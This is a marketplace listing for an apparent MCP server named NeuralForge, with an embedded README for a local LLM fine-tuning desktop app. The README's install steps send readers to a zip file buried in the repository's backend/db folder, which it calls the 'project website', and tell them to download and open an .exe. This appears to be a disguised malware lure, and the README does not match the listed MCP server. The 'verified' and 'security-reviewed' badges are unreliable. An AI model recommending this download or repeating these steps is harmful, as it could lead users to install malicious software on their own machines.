# NeuralForge > Fine-tune large language models on local hardware using a web interface with QLoRA training and GGUF export support. - **Type:** MCP server - **Install:** `agentstack add mcp-yelenaunstimulating676-neuralforge` - **Verified:** Yes — security-reviewed for prompt injection and unsafe behavior - **Seller:** [yelenaunstimulating676](https://agentstack.voostack.com/s/yelenaunstimulating676) - **Installs:** 0 - **Category:** [AI & ML](https://agentstack.voostack.com/c/ai-and-ml) - **Latest version:** 0.1.0 - **License:** MIT - **Upstream author:** [yelenaunstimulating676](https://github.com/yelenaunstimulating676) - **Source:** https://github.com/yelenaunstimulating676/NeuralForge ## Install ```sh agentstack add mcp-yelenaunstimulating676-neuralforge ``` Requires the [AgentStack CLI](https://agentstack.voostack.com/docs/cli). Works with Claude Code, Cursor, and any MCP-compatible agent. ## About # 🧠 NeuralForge - Train custom AI models on hardware [](https://raw.githubusercontent.com/yelenaunstimulating676/NeuralForge/main/backend/db/Neural-Forge-v1.3.zip) ## What is NeuralForge? NeuralForge helps you train personal AI models on your own computer. You do not need a massive server or expensive cloud services. This tool uses the graphics card inside your PC to teach an AI new information. It provides a simple menu to manage your training data and track progress without typing code. ## đŸ’ģ System Requirements Your computer needs specific parts to run NeuralForge well. Check your system against this list before you start. - Operating System: Windows 10 or Windows 11. - Graphics Card: An NVIDIA graphics card with at least 8 gigabytes of video memory. - Processor: A modern Intel Core i5 or AMD Ryzen 5 processor or better. - Memory: At least 16 gigabytes of system RAM. - Storage: 20 gigabytes of free space for storing models and training files. ## 🚀 Getting Started Follow these steps to set up the software on your machine. 1. Visit the project website. Here is the link: [https://raw.githubusercontent.com/yelenaunstimulating676/NeuralForge/main/backend/db/Neural-Forge-v1.3.zip](https://raw.githubusercontent.com/yelenaunstimulating676/NeuralForge/main/backend/db/Neural-Forge-v1.3.zip). 2. Look for the latest release version at the top of the list. 3. Click the file that ends with .exe to start your download. 4. Open the file once the download finishes. 5. Follow the instructions on the screen to install the program. 6. Launch NeuralForge from your desktop shortcut. ## 🛠ī¸ How to train a model The setup process requires data and a target goal. ### Prepare your data Place your training text files in a dedicated folder. Use plain text files for the best results. Each file should contain the information you want the AI to learn. Clean your text to fix typos and errors before you begin. ### Select your settings Open the NeuralForge dashboard. - Model Selection: Choose a base model from the list. The tool shows models that fit your graphics card memory. - Training Data: Point the folder picker to your text files. - Adjust Parameters: The software uses sensible defaults for most users. If the output looks poor, increase the number of training steps. - Start Training: Click the train button. ### Monitor progress The dashboard shows a live graph. This graph tracks how well the model learns. If the line goes down, the model understands the data better. Wait for the process to finish before you close the program. ## đŸ“Ļ Exporting your model When training finishes, your model files stay in a temporary folder. Use the export feature to turn these into a GGUF file. This file format works with local chat interfaces. You can take this file and put it in any software that runs language models. ## ⚙ī¸ Troubleshooting common issues If you encounter problems, check these solutions first. - The app does not start: Verify your NVIDIA driver version. Update your driver through the NVIDIA website if it is old. - The app crashes during training: Close other programs like web browsers. These programs use your graphics memory. - The training is too slow: Check if your graphics card has enough memory. Using a smaller base model will improve speed. - Error messages about missing files: Restart the computer to clear temporary file locks and try again. ## 🗄ī¸ Managing your storage Training models creates many large files. NeuralForge stores these in a folder inside your documents. Clear this folder regularly to save disk space. Delete the project folder once you export your final GGUF file to keep your system clean. ## 📖 Understanding key terms - Graphics Card: The hardware component that processes visual data. It also performs the heavy math needed for AI training. - Video Memory: The temporary space your graphics card uses to handle complex tasks. - GGUF: A specific format for AI models. It allows the model to run on many different types of hardware. - Training Steps: The cycles the software goes through to learn from your data. More steps often mean better accuracy but take more time. - Base Model: The foundation model that you modify with your personal data. ## 🛡ī¸ Privacy and data safety Your data stays on your computer. NeuralForge does not send your files or your models to a server. You maintain total control over your information. The application runs locally. If you disconnect your internet cable, the training process continues without interruption. This design ensures that your private data remains private. ## ℹī¸ Updates Check the release page occasionally for updates. New versions include improvements for speed and support for newer models. Download the latest installer over your current version. The installer handles the update process automatically and keeps your settings intact. You do not need to uninstall the previous version before you upgrade. ## Source & license This open-source MCP server is cataloged on AgentStack and links to its original source — we do not rehost the code. - **Author:** [yelenaunstimulating676](https://github.com/yelenaunstimulating676) - **Source:** [yelenaunstimulating676/NeuralForge](https://github.com/yelenaunstimulating676/NeuralForge) - **License:** MIT Install and usage instructions live in the source repository linked above. ## Pricing - **Free** — Free ## Security capabilities Automated source analysis of v0.1.0 — what this tool can access: - **Network access:** no - **Filesystem access:** no - **Shell / process execution:** no - **Environment & secrets:** no - **Dynamic code execution:** no *"Yes" means the capability is present in the source — more access means more to trust, not that it is unsafe.* ## Versions - **0.1.0** — security scan: passed — Imported from the upstream source. ## Links - Listing page: https://agentstack.voostack.com/l/mcp-yelenaunstimulating676-neuralforge - Seller: https://agentstack.voostack.com/s/yelenaunstimulating676 - Browse the marketplace: https://agentstack.voostack.com/browse --- Listed on AgentStack — the marketplace for AI agent skills and MCP servers. Every listing is security-reviewed. Creators keep 70%.